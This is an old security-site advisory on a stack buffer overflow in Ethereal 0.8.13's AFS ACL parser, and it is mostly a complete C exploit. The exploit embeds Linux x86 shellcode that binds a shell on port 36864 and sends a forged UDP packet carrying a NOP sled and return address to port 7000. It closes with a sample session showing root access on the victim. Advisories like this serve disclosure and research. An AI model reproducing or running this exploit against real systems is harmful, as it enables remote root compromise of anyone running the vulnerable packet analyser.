[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Ethereal 0.8.13 AFS ACL parsing buffer overflow bug

Title: Ethereal 0.8.13 AFS ACL parsing buffer overflow bug
Released by: mat@hacksware.com
Date: 18th November 2000
Printable version: Click here
   Bug Report



1. Name: Ethereal 0.8.13 AFS ACL parsing buffer overflow bug

2. Release Date: 2000.11.18

3. Affected Application:

 Ethereal 0.8.13(latest version)

 http://www.ethereal.com/

 ethereal-web@ethereal.com

4. Author: mat@hacksware.com

5. Type: Stack based buffer overflow

6. Explanation



 There exists buffer overflow in AFS packet parsing routine in ethereal 0.8.13.



In function dissect_acl,



packet-afs.c:1185

        char user[128];



packet-afs.c:1222

for (i = 0; i < pos; i++) {

if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)

return;

s += n;

ACLOUT(user,1,acl,n);

curoffset += n;

TRUNC(1);

}



for (i = 0; i < neg; i++) {

if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)

return;

s += n;

ACLOUT(user,0,acl,n);

curoffset += n;

if (s > end)

return;

}



 Buffer user can be overflowed with forged packet.



7. Exploits



/*

Name: Ethereal 0.8.13 AFS ACL buffer overflow exploit

Author:

 http://hacksware.com

 mat@hacksware.com

 gcc -o sbo_ethereal sbo_ethereal.c

Usage:

 ./sbo_ethereal 

   dest_addr is the destination address of the host which traffic the victim host running ethereal program can monitor.



Greetz to: Mastrippolito,Trino,s3ung,gumpjin,w00we_mc2,jgotts,luciano,etc...



I used some network codes from synk4.c.

*/



#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 



/*shell code from http://www.hack.co.za/c0de/linux-x86/portshell.c*/

/* port binding shell on 36864*/



/*

 *  Linux/x86

 *  TCP/36864 portshell (old, could be optimized further)

 */



char c0de[] =

/* main: */

"\xeb\x72"                                /* jmp callz               */

/* start: */

"\x5e"                                    /* popl %esi               */



  /* socket() */

"\x29\xc0"                                /* subl %eax, %eax         */

"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */

"\x40"                                    /* incl %eax               */

"\x89\xc3"                                /* movl %eax, %ebx         */

"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */

"\x40"                                    /* incl %eax               */

"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */

"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */

"\xb0\x66"                                /* movb $0x66, %al         */

"\xcd\x80"                                /* int $0x80               */



  /* bind() */

"\x43"                                    /* incl %ebx               */

"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */

"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */

"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */

"\x29\xc0"                                /* subl %eax, %eax         */

"\x89\xc2"                                /* movl %eax, %edx         */

"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */

"\xb0\x90"                                /* movb $0x90, %al         */

"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */

"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */

"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */

"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */

"\xb0\x66"                                /* movb $0x66, %al         */

"\xcd\x80"                                /* int $0x80               */



  /* listen() */

"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */

"\x43"                                    /* incl %ebx               */

"\x43"                                    /* incl %ebx               */

"\xb0\x66"                                /* movb $0x66, %al         */

"\xcd\x80"                                /* int $0x80               */



  /* accept() */

"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */

"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */

"\xb0\x66"                                /* movb $0x66, %al         */

"\x43"                                    /* incl %ebx               */

"\xcd\x80"                                /* int $0x80               */



  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */

"\x86\xc3"                                /* xchgb %al, %bl          */

"\xb0\x3f"                                /* movb $0x3f, %al         */

"\x29\xc9"                                /* subl %ecx, %ecx         */

"\xcd\x80"                                /* int $0x80               */

"\xb0\x3f"                                /* movb $0x3f, %al         */

"\x41"                                    /* incl %ecx               */

"\xcd\x80"                                /* int $0x80               */

"\xb0\x3f"                                /* movb $0x3f, %al         */

"\x41"                                    /* incl %ecx               */

"\xcd\x80"                                /* int $0x80               */



  /* execve() */

"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */

"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */

"\x87\xf3"                                /* xchgl %esi, %ebx        */

"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */

"\xb0\x0b"                                /* movb $0x0b, %al         */

"\xcd\x80"                                /* int $0x80               */



/* callz: */

"\xe8\x89\xff\xff\xff"                    /* call start              */

"/bin/sh";



/*                    www.hack.co.za           [7 August 2000]*/

unsigned long getaddr (char *name)

{

  struct hostent *hep;



  hep = gethostbyname (name);

  if (!hep)

    {

      fprintf (stderr, "Unknown host %s\n", name);

      exit (1);

    }

  return *(unsigned long *) hep->h_addr;

}



unsigned short

ip_sum (u_short * addr, int len)

{

  register int nleft = len;

  register u_short *w = addr;

  register int sum = 0;

  u_short answer = 0;



  while (nleft > 1)

    {

      sum += *w++;

      nleft -= 2;

    }

  if (nleft == 1)

    {

      *(u_char *) (&answer) = *(u_char *) w;

      sum += answer;

    }

  sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

  sum += (sum >> 16); /* add carry */

  answer = ~sum; /* truncate to 16 bits */

  return (answer);

}



void send_udp_segment (int raw_socket,struct iphdr *iphdr_p, struct udphdr *udphdr_p, char *data, int dlen)

{

  char buf[65536];

  struct

  { /* rfc 793 udp pseudo-header */

    unsigned long saddr, daddr;

    char mbz;

    char ptcl;

    unsigned short udpl;

  }

  ph;



  struct sockaddr_in sin;



  ph.saddr = iphdr_p->saddr;

  ph.daddr = iphdr_p->daddr;

  ph.mbz = 0;

  ph.ptcl = IPPROTO_TCP;

  ph.udpl = htons (sizeof (*udphdr_p) + dlen);



  memcpy (buf, &ph, sizeof (ph));

  memcpy (buf + sizeof (ph), udphdr_p, sizeof (*udphdr_p));

  memcpy (buf + sizeof (ph) + sizeof (*udphdr_p), data, dlen);

  memset (buf + sizeof (ph) + sizeof (*udphdr_p) + dlen, 0, 4);

  udphdr_p->check = ip_sum (buf, (sizeof (ph) + sizeof (*udphdr_p) + dlen + 1) & ~1);



  memcpy (buf, iphdr_p,4*iphdr_p->ihl);

  memcpy (buf + 4 * iphdr_p->ihl, udphdr_p, sizeof (*udphdr_p));

  memcpy (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p), data, dlen);

  memset (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, 4);



  iphdr_p->check = ip_sum (buf, (4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen + 1) & ~1);

  memcpy (buf, iphdr_p, 4 * iphdr_p->ihl);



  sin.sin_family = AF_INET;

  sin.sin_port = udphdr_p->dest;

  sin.sin_addr.s_addr = iphdr_p->daddr;



  if (sendto(raw_socket, buf, 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, &sin,sizeof (sin)) < 0)

    {

      printf ("Error sending syn packet.\n");

      perror ("");

      exit (1);

    }

}



unsigned long

send_udp_afs_data (int raw_socket,unsigned long src_addr, unsigned short src_port,

    unsigned long dst_addr, unsigned short dst_port)

{

  struct iphdr iphdr_d;

  struct udphdr udphdr_d;



  typedef unsigned int guint32;

  typedef unsigned short guint16;

/*header from ethereal*/

struct rx_header {

        guint32 epoch;

        guint32 cid;

        guint32 callNumber;

        guint32 seq;

        guint32 serial;

        u_char type;

#define RX_PACKET_TYPE_DATA             1

#define RX_PACKET_TYPE_ACK              2

#define RX_PACKET_TYPE_BUSY             3

#define RX_PACKET_TYPE_ABORT            4

#define RX_PACKET_TYPE_ACKALL           5

#define RX_PACKET_TYPE_CHALLENGE        6

#define RX_PACKET_TYPE_RESPONSE         7

#define RX_PACKET_TYPE_DEBUG            8

#define RX_PACKET_TYPE_PARAMS           9

#define RX_PACKET_TYPE_VERSION          13

        u_char flags;

#define RX_CLIENT_INITIATED 1

#define RX_REQUEST_ACK 2

#define RX_LAST_PACKET 4

#define RX_MORE_PACKETS 8

#define RX_FREE_PACKET 16

        u_char userStatus;

        u_char securityIndex;

        guint16 spare;                  /* How clever: even though the AFS */

        guint16 serviceId;              /* header files indicate that the */

};                                      /* serviceId is first, it's really */

                                        /* encoded _after_ the spare field */

                                        /* I wasted a day figuring that out! */

  struct rx_header rx_header_d;

  int afs_data_len;

  char *afs_data;

  int data_len;

  char *data_buffer;





  iphdr_d.version = 4;

  iphdr_d.ihl = 5;

  iphdr_d.tos = 0;

  iphdr_d.tot_len = sizeof (iphdr_d)+sizeof(udphdr_d);

  iphdr_d.id = htons(545);

  iphdr_d.frag_off = 0;

  iphdr_d.ttl = 90;

  iphdr_d.protocol = IPPROTO_UDP;

  iphdr_d.check = 0;

  iphdr_d.saddr = src_addr;

  iphdr_d.daddr = dst_addr;



  udphdr_d.source = htons (src_port);

  udphdr_d.dest = htons (dst_port);

  udphdr_d.len = 2;

  udphdr_d.check = 0;



  rx_header_d.epoch=htonl(0);

  rx_header_d.cid=htonl(1);

  rx_header_d.callNumber=htonl(2);

  rx_header_d.seq=htonl(3);

  rx_header_d.serial=htonl(4);



  rx_header_d.type=RX_PACKET_TYPE_DATA;

  rx_header_d.flags=RX_CLIENT_INITIATED;

  rx_header_d.userStatus=6;

  rx_header_d.securityIndex=7;

  rx_header_d.spare=htons(8);

  rx_header_d.serviceId=htons(9);



  {

#define DATA_SIZE 600 //Data portion size

   u_long datasize=htonl(DATA_SIZE);

   afs_data_len=4*5+DATA_SIZE;

   /*

     UINT opcode

     UINT volume

     UINT vnode

     UINT uniqifier

     UINT datasize



    data section

     pos(%d) neg (%d)

     pos times*( user(%s), &acl(%d))

     neg times*( user(%s), &acl(%d))

   */



   afs_data=(char *)calloc(1,afs_data_len);

   if(afs_data)

   {

    u_long opcode=htonl(134);

    int i;

    int cur_pos;

#define CODE_LEN 300

    char code_buf[CODE_LEN];

    unsigned long esp=0x81c6f02;

#define RET_ADDR_POS 150

    int offset=RET_ADDR_POS+20;



    for(i=0;i<=RET_ADDR_POS;i+=4)

       *(long *)&code_buf[i]=(unsigned long)esp+offset;

    memset(code_buf+RET_ADDR_POS,0x90,CODE_LEN-RET_ADDR_POS); //insert NOP CODES

    memcpy(code_buf+CODE_LEN-strlen(c0de),c0de,strlen(c0de));



    memcpy(afs_data,(char *)&opcode,sizeof(u_long));

    memcpy(afs_data+4*4,(char *)&datasize,sizeof(u_long));

    sprintf(afs_data+4*5,"%d %d %s %d",1,1,"hi",1);



    cur_pos=4*5+strlen(afs_data+4*5);

    memcpy(afs_data+cur_pos,code_buf,CODE_LEN);

    sprintf(afs_data+cur_pos+CODE_LEN," %d",1);



    data_len=sizeof(struct rx_header)+afs_data_len;

    data_buffer=(char *)calloc(1,data_len);

    if(data_buffer)

    {

     memcpy(data_buffer,(char *)&rx_header_d,sizeof(struct rx_header));

     memcpy(data_buffer+sizeof(struct rx_header),afs_data,afs_data_len);

     send_udp_segment (raw_socket,&iphdr_d,&udphdr_d,data_buffer,data_len);

     free(data_buffer);

    }

    free(afs_data);

   }

  }

}



main (int argc, char **argv)

{

  u_short src_port, dst_port;

  unsigned long src_addr, dst_addr;

  int raw_socket;



  if(argc<2)

  {

   printf("%s dst_addr\n",argv[0]);

   fflush(stdout);

   exit(1);

  }

  src_addr = getaddr ("1.1.1.1");

  dst_addr = getaddr (argv[1]);

  src_port = 10;

  dst_port = 7000;



  raw_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);

  if (raw_socket < 0)

    {

      perror ("socket (raw)");

      exit (1);

    }



  send_udp_afs_data (raw_socket,src_addr, src_port, dst_addr, dst_port);

}



/*

 If the attack was successful you can get in the system like this.

matt:~# telnet victim 36864

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

id;

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)





*/



=================================================

|               mat@hacksware.com               |

|             http://hacksware.com              |

=================================================








(C) 1999-2000 All rights reserved.